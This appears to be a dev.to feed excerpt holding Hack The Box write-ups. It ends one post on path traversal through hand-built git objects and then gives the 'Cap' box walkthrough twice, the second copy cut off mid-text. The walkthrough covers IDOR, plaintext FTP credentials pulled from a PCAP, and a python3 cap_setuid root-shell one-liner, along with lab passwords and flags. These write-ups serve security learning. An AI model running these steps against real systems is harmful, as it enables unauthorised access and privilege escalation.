    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;write_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;get_blob_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The bug is that &lt;code&gt;filepath&lt;/code&gt; comes straight from &lt;code&gt;git ls-tree&lt;/code&gt; output with zero&lt;br&gt;
validation, and &lt;code&gt;os.path.join()&lt;/code&gt; will happily honor &lt;code&gt;../&lt;/code&gt; sequences in its&lt;br&gt;
second argument — it does not sanitize traversal, it just joins path&lt;br&gt;
components. If &lt;code&gt;filepath&lt;/code&gt; were something like&lt;br&gt;
&lt;code&gt;../../../../root/.ssh/authorized_keys&lt;/code&gt;, the resulting &lt;code&gt;target&lt;/code&gt; resolves&lt;br&gt;
&lt;em&gt;outside&lt;/em&gt; &lt;code&gt;staging_dir&lt;/code&gt; entirely.&lt;/p&gt;

&lt;p&gt;The catch is that Git's own CLI won't normally let you create a tracked file&lt;br&gt;
whose path contains &lt;code&gt;..&lt;/code&gt; — that protection lives in the porcelain commands&lt;br&gt;
(&lt;code&gt;git add&lt;/code&gt;, &lt;code&gt;git commit&lt;/code&gt;), not in the underlying object format itself. So the&lt;br&gt;
actual technique was to build the raw git objects by hand: hash and&lt;br&gt;
zlib-compress a blob and a sequence of tree objects directly into&lt;br&gt;
&lt;code&gt;.git/objects&lt;/code&gt;, chain them into a tree structure whose path components&lt;br&gt;
included the traversal sequence, wrap it in a commit object, and point a&lt;br&gt;
branch ref directly at that commit — bypassing the CLI's safety checks&lt;br&gt;
entirely because I was never asking the CLI to validate a &lt;code&gt;..&lt;/code&gt; path; I was&lt;br&gt;
constructing the low-level objects that represent one.&lt;/p&gt;

&lt;p&gt;Once pushed to a repository flagged as a template, the vulnerable sync script&lt;br&gt;
picked it up, joined its untrusted path onto the staging directory with no&lt;br&gt;
validation, and wrote a file straight through to a sensitive location outside&lt;br&gt;
the intended directory — running as root, which meant the write itself&lt;br&gt;
carried root privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The generalizable takeaway:&lt;/strong&gt; path-joining functions across virtually every&lt;br&gt;
language (&lt;code&gt;os.path.join&lt;/code&gt; in Python, &lt;code&gt;path.join&lt;/code&gt; in Node, &lt;code&gt;Path.Combine&lt;/code&gt; in&lt;br&gt;
.NET) treat &lt;code&gt;..&lt;/code&gt; as a normal path component and resolve it — they are not&lt;br&gt;
sanitization functions, and none of them will stop a traversal on their own.&lt;br&gt;
Any time a path component originates from data you don't fully control — a&lt;br&gt;
filename from an upload, a path from a tarball, a path from a git tree,&lt;br&gt;
anything — the resulting joined path needs to be canonicalized (e.g.&lt;br&gt;
&lt;code&gt;os.path.realpath()&lt;/code&gt;) and explicitly checked to confirm it's still inside the&lt;br&gt;
intended base directory before it's touched. I now treat this as one of the&lt;br&gt;
first things I look for when reviewing file-handling code in triage, right&lt;br&gt;
alongside the more commonly-flagged injection points.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing thought
&lt;/h2&gt;

&lt;p&gt;Nothing about this box required novel exploit development. Every step was a&lt;br&gt;
recognizable category of mistake: a secret lingering in history, a password&lt;br&gt;
reused where it shouldn't have been, client-side-only validation, and an&lt;br&gt;
unsanitized path join. That's exactly why I think easy-to-medium HTB boxes are&lt;br&gt;
worth doing deliberately rather than skipping to the hard ones — the value&lt;br&gt;
isn't in the difficulty of any single step, it's in seeing how ordinary&lt;br&gt;
mistakes chain together into full compromise, which is precisely the shape&lt;br&gt;
most real-world findings take.&lt;/p&gt;

&lt;p&gt;Tools used: &lt;code&gt;nmap&lt;/code&gt;, &lt;code&gt;ffuf&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, Burp Suite, &lt;code&gt;git&lt;/code&gt;, a small custom Python&lt;br&gt;
script for raw git object construction, &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;nc&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>appsec</category>
      <category>python</category>
    </item>
    <item>
      <title>HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sun, 28 Jun 2026 01:15:58 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-40eh</link>
      <guid>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-40eh</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hack The Box | Easy | Linux | Retired&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An &lt;strong&gt;IDOR vulnerability&lt;/strong&gt; on a web app storing network captures with sequential, predictable IDs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plaintext FTP credentials&lt;/strong&gt; leaking inside a packet capture&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Linux capability misconfiguration&lt;/strong&gt; (&lt;code&gt;cap_setuid&lt;/code&gt; on Python) that gives instant root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Start with nmap — always.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_services.txt 10.129.12.255
nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 10000 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_allports.txt 10.129.12.255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three ports open:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP (vsftpd 3.0.3)&lt;/td&gt;
&lt;td&gt;Anonymous login disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH (OpenSSH 8.2p1)&lt;/td&gt;
&lt;td&gt;Target once we have credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP (Gunicorn)&lt;/td&gt;
&lt;td&gt;Python WSGI app — main attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Web App
&lt;/h3&gt;

&lt;p&gt;Port 80 serves what calls itself a &lt;strong&gt;"Security Dashboard"&lt;/strong&gt; — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a &lt;code&gt;/capture&lt;/code&gt; endpoint that runs a 5-second live packet capture on the server.&lt;/p&gt;

&lt;p&gt;The capture flow works like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browse to &lt;code&gt;/capture&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The server captures 5 seconds of network traffic, saves it to disk&lt;/li&gt;
&lt;li&gt;Redirects you to &lt;code&gt;/data/&amp;lt;id&amp;gt;&lt;/code&gt; — where &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; is a sequential integer starting at 1&lt;/li&gt;
&lt;li&gt;File is downloadable at &lt;code&gt;/download/&amp;lt;id&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two things jump out immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; The nav bar shows the logged-in username — &lt;code&gt;nathan&lt;/code&gt;. Free username, no brute force required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing for IDOR
&lt;/h3&gt;

&lt;p&gt;After triggering a capture, the app redirects to &lt;code&gt;/data/1&lt;/code&gt;. The obvious question: what's at &lt;code&gt;/data/0&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.129.12.255/data/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a valid page with a download link for &lt;code&gt;/download/0&lt;/code&gt;. No authentication error. No ownership check. Just... the file.&lt;/p&gt;

&lt;p&gt;This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IDOR in the real world:&lt;/strong&gt; Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cracking Open the PCAP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://10.129.12.255/download/0 &lt;span class="nt"&gt;-O&lt;/span&gt; capture0.pcap
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; capture0.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"USER&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;PASS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;USER nathan
PASS Buck3tH4TF0RM3!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Credentials recovered without touching a wordlist or running a single exploit.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why FTP is still dangerous:&lt;/strong&gt; FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  SSH as Nathan
&lt;/h3&gt;

&lt;p&gt;Password reuse. The FTP credentials work directly on SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh nathan@10.129.12.255
&lt;span class="c"&gt;# Password: Buck3tH4TF0RM3!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;nathan&lt;/code&gt;. User flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user.txt: ea34748abba367e85ac0aec4f9932bad
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; — nothing. No SUID binaries worth pursuing. Time to check &lt;strong&gt;Linux capabilities&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There it is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding cap_setuid
&lt;/h3&gt;

&lt;p&gt;Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (&lt;code&gt;cap_net_bind_service&lt;/code&gt;) without giving it full administrative access.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cap_setuid&lt;/code&gt; lets a process call &lt;code&gt;setuid()&lt;/code&gt; to &lt;strong&gt;change its effective user ID to any UID on the system — including UID 0, which is root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke &lt;code&gt;setuid(0)&lt;/code&gt; from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.&lt;/p&gt;

&lt;p&gt;This is documented on &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt; and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but &lt;code&gt;cap_setuid&lt;/code&gt; on any general-purpose interpreter is functionally equivalent to unrestricted root access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import os; os.setuid(0); os.system('/bin/bash')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;os.setuid(0)&lt;/code&gt; — changes the process's UID to 0 (root), permitted because &lt;code&gt;cap_setuid&lt;/code&gt; is set on &lt;code&gt;/usr/bin/python3.8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.system('/bin/bash')&lt;/code&gt; — spawns a bash shell that inherits the root UID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Root shell. Instant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root.txt: 3a0175a10c1007605d6b3813fb2cb37b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Always fuzz sequential IDs.&lt;/strong&gt;&lt;br&gt;
When you see &lt;code&gt;/data/1&lt;/code&gt; or &lt;code&gt;/item/42&lt;/code&gt; in a URL, the first thing you test is &lt;code&gt;/data/0&lt;/code&gt;, &lt;code&gt;/data/2&lt;/code&gt;, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. FTP is a credential gift.&lt;/strong&gt;&lt;br&gt;
Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Password reuse is the rule, not the exception.&lt;/strong&gt;&lt;br&gt;
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;getcap -r /&lt;/code&gt; belongs on your privesc checklist.&lt;/strong&gt;&lt;br&gt;
Run it right after &lt;code&gt;sudo -l&lt;/code&gt;. &lt;code&gt;cap_setuid&lt;/code&gt; on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Port scan and service fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; / browser&lt;/td&gt;
&lt;td&gt;Web app enumeration, IDOR testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download the vulnerable PCAP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tcpdump&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse PCAP and extract plaintext FTP credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access with recovered credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getcap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Identify Linux capability misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exploit &lt;code&gt;cap_setuid&lt;/code&gt; for root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins — Python capabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for-Insecure_Direct_Object_References" rel="noopener noreferrer"&gt;OWASP — IDOR Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man7.org/linux/man-pages/man7/capabilities.7.html" rel="noopener noreferrer"&gt;Linux Capabilities — man7.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc959" rel="noopener noreferrer"&gt;FTP Protocol — RFC 959&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Target: OSCP by early 2027. Current: building the reps.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>htb</category>
      <category>oscp</category>
      <category>ctf</category>
      <category>linux</category>
    </item>
    <item>
      <title>HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sun, 28 Jun 2026 01:14:09 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-1fm1</link>
      <guid>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-1fm1</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hack The Box | Easy | Linux | Retired&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An &lt;strong&gt;IDOR vulnerability&lt;/strong&gt; on a web app storing network captures with sequential, predictable IDs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plaintext FTP credentials&lt;/strong&gt; leaking inside a packet capture&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Linux capability misconfiguration&lt;/strong&gt; (&lt;code&gt;cap_setuid&lt;/code&gt; on Python) that gives instant root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Start with nmap — always.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_services.txt 10.129.12.255
nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 10000 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_allports.txt 10.129.12.255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three ports open:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP (vsftpd 3.0.3)&lt;/td&gt;
&lt;td&gt;Anonymous login disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH (OpenSSH 8.2p1)&lt;/td&gt;
&lt;td&gt;Target once we have credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP (Gunicorn)&lt;/td&gt;
&lt;td&gt;Python WSGI app — main attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Web App
&lt;/h3&gt;

&lt;p&gt;Port 80 serves what calls itself a &lt;strong&gt;"Security Dashboard"&lt;/strong&gt; — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a &lt;code&gt;/capture&lt;/code&gt; endpoint that runs a 5-second live packet capture on the server.&lt;/p&gt;

&lt;p&gt;The capture flow works like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browse to &lt;code&gt;/capture&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The server captures 5 seconds of network traffic, saves it to disk&lt;/li&gt;
&lt;li&gt;Redirects you to &lt;code&gt;/data/&amp;lt;id&amp;gt;&lt;/code&gt; — where &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; is a sequential integer starting at 1&lt;/li&gt;
&lt;li&gt;File is downloadable at &lt;code&gt;/download/&amp;lt;id&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two things jump out immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; The nav bar shows the logged-in username — &lt;code&gt;nathan&lt;/code&gt;. Free username, no brute force required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing for IDOR
&lt;/h3&gt;

&lt;p&gt;After triggering a capture, the app redirects to &lt;code&gt;/data/1&lt;/code&gt;. The obvious question: what's at &lt;code&gt;/data/0&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.129.12.255/data/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a valid page with a download link for &lt;code&gt;/download/0&lt;/code&gt;. No authentication error. No ownership check. Just... the file.&lt;/p&gt;

&lt;p&gt;This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IDOR in the real world:&lt;/strong&gt; Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cracking Open the PCAP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://10.129.12.255/download/0 &lt;span class="nt"&gt;-O&lt;/span&gt; capture0.pcap
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; capture0.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"USER&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;PASS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;USER nathan
PASS Buck3tH4TF0RM3!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Credentials recovered without touching a wordlist or running a single exploit.&lt;/p&gt;

&lt;blockquote&gt;
